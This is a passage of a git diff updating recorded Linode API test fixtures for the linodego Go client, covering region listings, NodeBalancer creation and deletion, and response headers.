{"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228226}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,11 +313,10 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441137, "label": "go-test-def", "region": "ap-west", "hostname": - "172-105-45-149.ip.linodeusercontent.com", "ipv4": "172.105.45.149", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 694202, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-45-64.ip.linodeusercontent.com", "ipv4": "172.105.45.64", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +329,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "336" + - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,9 +354,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -356,14 +375,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441137 + url: https://api.linode.com/v4beta/nodebalancers/694202 method: GET response: - body: '{"id": 441137, "label": "go-test-def", "region": "ap-west", "hostname": - "172-105-45-149.ip.linodeusercontent.com", "ipv4": "172.105.45.149", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 694202, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-45-64.ip.linodeusercontent.com", "ipv4": "172.105.45.64", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -376,16 +394,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "336" + - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -399,9 +420,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -417,7 +441,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441137 + url: https://api.linode.com/v4beta/nodebalancers/694202 method: DELETE response: body: '{}' @@ -433,15 +457,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:57 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -454,64 +482,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228226 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml b/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml index 2478420a6..d5042b628 100644 --- a/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml +++ b/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml @@ -1,71 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 380701, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"], "entities": []}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "542" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Mon, 11 Mar 2024 15:04:30 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -81,67 +16,75 @@ interactions: response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, - 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, - 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, - 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, - 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-iad", "label": - "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, - 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-ord", "label": - "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "fr-par", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, - 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-sea", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "br-gru", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -150,7 +93,8 @@ interactions: 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, @@ -158,7 +102,8 @@ interactions: 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -167,7 +112,8 @@ interactions: 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -176,7 +122,8 @@ interactions: 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -185,16 +132,18 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "jp-osa", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "it-mil", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -203,7 +152,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-mia", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -212,7 +162,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "id-cgk", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", 